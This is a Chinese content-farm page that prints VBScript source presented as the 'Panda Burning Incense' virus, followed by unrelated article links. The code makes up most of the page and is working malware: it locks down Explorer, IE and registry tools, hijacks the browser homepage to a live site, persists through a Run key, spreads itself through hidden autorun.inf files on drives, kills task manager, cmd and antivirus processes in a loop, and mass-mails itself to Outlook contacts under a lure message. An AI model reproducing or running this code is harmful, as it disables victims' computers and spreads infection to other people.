可怕的熊猫烧香病毒代码 熊猫烧香病毒

这是一个熊猫烧香病毒VB代码,通过U盘和邮件附件传播:on error resume next
dim fso,wsh,myfile,ws,pp,fsoFolder
set wsh=wscript.createobject("wscript.shell")
set fso=wscript.createobject("scripting.filesystemobject")
set myfile=fso.GetFile(wscript.scriptfullname)
'修改注册表(开始菜单里面的东西和IE各项设置)
wsh.Regwrite"HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALLCheckedValue",0,"REG_DWORD"
wsh.Regwrite "HKCUSoftwarePoliciesMicrosoftInternetExplorerRestrictionsNoBrowserContextMenu",1,"REG_DWORD"
wsh.Regwrite "HKCUSoftwarePoliciesMicrosoftInternetExplorerRestrictionsNoBrowserOptions",1,"REG_DWORD"
wsh.Regwrite "HKCUSoftwarePoliciesMicrosoftInternetExplorerRestrictionsNoBrowserSaveAs",1,"REG_DWORD"
wsh.Regwrite "HKCUSoftwarePoliciesMicrosoftInternetExplorerRestrictionsNoFileOpen",1,"REG_DWORD"
wsh.Regwrite "HKCUSoftwarePoliciesMicrosoftInternetExplorerControl PanelAdvanced",1,"REG_DWORD"
wsh.Regwrite "HKCUSoftwarePoliciesMicrosoftInternetExplorerControl PanelCache Internet",1,"REG_DWORD"
wsh.Regwrite "HKCUSoftwarePoliciesMicrosoftInternetExplorerControl PanelAutoConfig",1,"REG_DWORD"
wsh.Regwrite "HKCUSoftwarePoliciesMicrosoftInternetExplorerControl PanelHomePage",1,"REG_DWORD"
wsh.Regwrite "HKCUSoftwarePoliciesMicrosoftInternetExplorerControl PanelHistory",1,"REG_DWORD"
wsh.Regwrite "HKCUSoftwarePoliciesMicrosoftInternetExplorerControl PanelConnwiz Admin Lock",1,"REG_DWORD"
wsh.Regwrite "HKCUSoftwareMicrosoftInternet ExplorerMainStartPage","http://ruanji03.ys168.com"
wsh.Regwrite "HKCUSoftwareMicrosoftInternet ExplorerMainSearchPage","http://ruanji03.ys168.com"
wsh.Regwrite "HKCUSoftwareMicrosoftInternetExplorerMainDefault_Page_URL","http://ruanji03.ys168.com"
wsh.Regwrite "HKCUSoftwareMicrosoftInternetExplorerMainDefault_Search_URL","http://ruanji03.ys168.com"
wsh.Regwrite "HKEY_USERS.DEFAULTSoftwareMicrosoftInternetExplorerMainStart Page","http://ruanji03.ys168.com"
wsh.Regwrite "HKEY_USERS.DEFAULTSoftwareMicrosoftInternetExplorerMainDefault_Page_URL","http://ruanji03.ys168.com"
wsh.Regwrite "HKEY_USERS.DEFAULTSoftwareMicrosoftInternetExplorerMainDefault_Search_URL","http://ruanji03.ys168.com"
wsh.Regwrite "HKEY_USERS.DEFAULTSoftwareMicrosoftInternetExplorerMainSearch Page","http://ruanji03.ys168.com"
wsh.Regwrite "HKCUSoftwarePoliciesMicrosoftInternetExplorerControl PanelHomePage",1,"REG_DWORD"
wsh.Regwrite "HKCUSoftwarePoliciesMicrosoftInternetExplorerControl PanelSecurityTab",1,"REG_DWORD"
wsh.Regwrite "HKCUSoftwarePoliciesMicrosoftInternetExplorerControl PanelResetWebSettings",1,"REG_DWORD"
wsh.Regwrite "HKCUSoftwarePoliciesMicrosoftInternetExplorerRestrictionsNoViewSource",1,"REG_DWORD"
wsh.Regwrite "HKCUSoftwarePoliciesMicrosoftInternetExplorerInfodeliveryRestrictionsNoAddingSubScriptions",1,"REG_DWORD"
wsh.Regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFileMenu",1,"REG_DWORD"
wsh.Regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldAppNoRealMode",1,"REG_DWORD"
wsh.Regwrite"HKLMSoftwareMicrosoftWindowsCurrentVersionRunWin32system","c:NYboy.vbs"
wsh.Regwrite"HKLMSoftwareMicrosoftWindowsCurrentVersionRunScanRegistry",""
wsh.Regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoLogOff",1,"REG_DWORD"
wsh.Regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRun",1,"REG_DWORD"
wsh.Regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDesktop",1,"REG_DWORD"
wsh.Regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoViewContextMenu",1,"REG_DWORD"
wsh.Regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoTrayContextMenu",1,"REG_DWORD"
wsh.Regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoClose",1,"REG_DWORD"
wsh.Regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerStartMenuLogOff",1,"REG_DWORD"
wsh.Regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoSMHelp",1,"REG_DWORD"
wsh.Regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoNetHood",1,"REG_DWORD"
wsh.Regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoWinKeys",1,"REG_DWORD"
wsh.Regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoSetFolders",1,"REG_DWORD"
wsh.Regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRecentDocsMenu",1,"REG_DWORD"
wsh.Regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFind","1","REG_DWORD"
wsh.Regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoWindowsUpdate",1,"REG_DWORD"
wsh.Regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoSetTaskbar",1,"REG_DWORD"
wsh.Regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFavoritesMenu",1,"REG_DWORD"
wsh.Regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRecentDocsHistory",1,"REG_DWORD"
wsh.Regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools","1","REG_DWORD"
wsh.Regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldAppDisabled",1,"REG_DWORD"
'使用户不能通过双击打开硬盘,这里还可以修改为使其不能通过双击打开文件夹,同理,不赘续
wsh.Regwrite"HKLMSOFTWAREClassesDriveshellautocommand","C:NYboy.bat'%1'"
wsh.Regwrite "HKCRDriveshell","auto"
wsh.Regwrite "HKCRDriveshellautocommand","C:NYboy.bat'%1'"
wsh.Regwrite "HKLMSOFTWAREClassesDirectoryshell","auto"
wsh.Regwrite "HKCRDirectoryshellautocommand","C:NYboy.bat'%1'"
wsh.Regwrite"HKLMSOFTWAREClassesDirectoryshellautocommand","C:NYboy.bat'%1'"
'修改默认文件图标 这里可以换成可爱的熊猫哦
wsh.Regwrite "HKCRexefileDefaultIcon","c:1.ico"
wsh.Regwrite "HKCRtxtfileDefaultIcon","c:1.ico"
wsh.Regwrite "HKCRdllfileDefaultIcon","c:1.ico"
wsh.Regwrite "HKCRbatfileDefaultIcon","c:1.ico"
wsh.Regwrite "HKCRinifileDefaultIcon","c:1.ico"
wsh.Regwrite"HKLMSOFTWAREClassesexefileDefaultIcon","c:1.ico"
wsh.Regwrite"HKLMSOFTWAREClassestxtfileDefaultIcon","c:1.ico"
wsh.Regwrite"HKLMSOFTWAREClassesdllfileDefaultIcon","c:1.ico"
wsh.Regwrite"HKLMSOFTWAREClassesbatfileDefaultIcon","c:1.ico"
wsh.Regwrite"HKLMSOFTWAREClassesinifileDefaultIcon","c:1.ico"
wsh.Regwrite "HKLMSoftwareCLASSES.reg","txtfile"
wsh.Regwrite"HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeCaption","你好啊,大兵和你开个小小的玩笑"
wsh.Regwrite"HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeText","你已经中毒了,赶快杀毒或者与QQ252287438联系"
'复制自身到C,D,E,F,U盘
myfile.copy "c:"
myfile.copy "D:"
myfile.copy "E:"
myfile.copy "F:"
myfile.copy "I:"
myfile.attributes=34
'定义Autorun.inf的内容 这个就是u盘病毒必须的代码部分 这里可以简单写
If fso.FileExists("C:autorun.inf") Then
Set objFolder = fso.GetFile("C:autorun.inf")
Else
wsh.run "cmd /c echo[AutoRun]>>C:autorun.inf"_
&"&& echo open=NYboy.bat>>C:autorun.inf"_
&"&& echo shellexecute=NYboy.bat>>C:autorun.inf"_
&"&& echoshellAutocommand=NYboy.bat>>C:autorun.inf"_
&"&& echo shell=Auto>>C:autorun.inf"_
&"&& attrib +h +s +r C:autorun.inf"
set autobatc=fso.createtextfile("c:NYboy.bat",1,ture)
autobatc.writeline("NYboy.vbs")
End If
If fso.FileExists("D:autorun.inf") Then
可怕的熊猫烧香病毒代码 熊猫烧香病毒
Set objFolder = fso.GetFile("D:autorun.inf")
Else
wsh.run "cmd /c echo[AutoRun]>>D:autorun.inf"_
&"&& echo open=NYboy.bat>>D:autorun.inf"_
&"&& echo shellexecute=NYboy.bat>>D:autorun.inf"_
&"&& echoshellAutocommand=NYboy.bat>>D:autorun.inf"_
&"&& echo shell=Auto>>D:autorun.inf"_
&"&& attrib +h +s +r D:autorun.inf"
set autobatd=fso.createtextfile("D:NYboy.bat",1,ture)
autobatd.writeline("NYboy.vbs")
End If
If fso.FileExists("E:autorun.inf") Then
Set objFolder = fso.GetFile("E:autorun.inf")
Else
wsh.run "cmd /c echo[AutoRun]>>E:autorun.inf"_
&"&& echo open=NYboy.bat>>E:autorun.inf"_
&"&& echo shellexecute=NYboy.bat>>E:autorun.inf"_
&"&& echoshellAutocommand=NYboy.bat>>E:autorun.inf"_
&"&& echo shell=Auto>>E:autorun.inf"_
&"&& attrib +h +s +r E:autorun.inf"
set autobate=fso.createtextfile("E:NYboy.bat",1,ture)
autobate.writeline("NYboy.vbs")
End If
If fso.FileExists("F:autorun.inf") Then
Set objFolder = fso.GetFile("F:autorun.inf")
Else
wsh.run "cmd /c echo[AutoRun]>>F:autorun.inf"_
&"&& echo open=NYboy.bat>>F:autorun.inf"_
&"&& echo shellexecute=NYboy.bat>>F:autorun.inf"_
&"&& echoshellAutocommand=NYboy.bat>>F:autorun.inf"_
&"&& echo shell=Auto>>F:autorun.inf"_
&"&& attrib +h +s +r F:autorun.inf"
set autobatf=fso.createtextfile("F:NYboy.bat",1,ture)
autobatf.writeline("NYboy.vbs")
End If
If fso.FileExists("I:autorun.inf") Then
Set objFolder = fso.GetFile("I:autorun.inf")
Else
wsh.run "cmd /c echo[AutoRun]>>I:autorun.inf"_
&"&& echo open=NYboy.bat>>I:autorun.inf"_
&"&& echo shellexecute=NYboy.bat>>I:autorun.inf"_
&"&& echoshellAutocommand=NYboy.bat>>I:autorun.inf"_
&"&& echo shell=Auto>>I:autorun.inf"_
&"&& attrib +h +s +r I:autorun.inf"
set autobatf=fso.createtextfile("I:NYboy.bat",1,ture)
autobatf.writeline("NYboy.vbs")
End If
'设置病毒体属性为 系统 只读 隐藏
wsh.run "cmd /c attrib +h +s +r C:NYboy.bat"_
&"&& attrib +h +s +r D:NYboy.bat"_
&"&& attrib +h +s +r E:NYboy.bat"_
&"&& attrib +h +s +r F:NYboy.bat"_
&"&& attrib +h +s +r I:NYboy.bat"
'强制结束某些进程,比如QQ,记事本,网页,批处理文件,卡巴,realplay等进程,运行后打不开这些文件
do
set ws=getobject("winmgmts:\.rootcimv2")
set pp=ws.execquery("select * from win32_process wherename='taskmgr.exe'or Name='QQ.exe'or Name='notepad.exe'or Name='IEXPLORE.exe'or Name='cmd.exe'or Name='avp.exe'or Name='winRAR.exe'or Name='realplay.exe'or Name='WINWORD.exe'")
for each i in pp
i.terminate()
wscript.sleep 100
next
loop
'使病毒可以靠邮件传播
Set ol=CreateObject("Outlook.Application")
On Error Resume Next
For x=1 To 5
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="今晚你来吗?"
Mail.Body="朋友你好:您的朋友给您发来了热情的邀请。具体情况请阅读随信附件,祝您好运!QQ交友频道"
Mail.Attachments.Add("c:NYboy.vbs")
Mail.Send
Next
ol.Quit [/hide]本代码只做个人兴趣爱好,不允许任何人盗用!

  

爱华网本文地址 » http://www.413yy.cn/a/25101015/277565.html

更多阅读

可怕的塔尔怎么打 毛绒雷象怎么获得

可怕的塔尔怎么打——简介魔兽世界纳格兰驯宠宗师可怕的塔尔怎么打,我这里就简单介绍下。可怕的塔尔怎么打——方法/步骤可怕的塔尔怎么打 1、到达德拉诺的纳格兰。可怕的塔尔怎么打 2、找到驯宠宗师可怕的塔尔。

如何更干净的清除手机病毒? 手机vold病毒彻底清除

如何更干净的清除手机病毒?——简介现在随着技术的快速发展,智能手机已经逐渐走进了千家万户,不过在方便我们生活的同时,伴随智能机走进我们身边的不仅仅只有一些好的程序,还有不法人士一些木马病毒程序,想尽办法的将这些恶意程序植入我们

可怕的病毒性感冒来袭时 病毒性感冒发烧要几天

可怕的病毒性感冒来袭时周三下午接到幼儿园老师的电话,说是乐乐发烧了,37.2度。于是半个小时后我接他回来时已经是37.6度,躺在床上一个小时左右,体温就直线上升到39度。家里的退烧药只有臣功再欣(乐乐曾经出现过过敏症状),赶紧给乐爸店电

声明:《可怕的熊猫烧香病毒代码 熊猫烧香病毒》为网友最好的我分享!如侵犯到您的合法权益请联系我们删除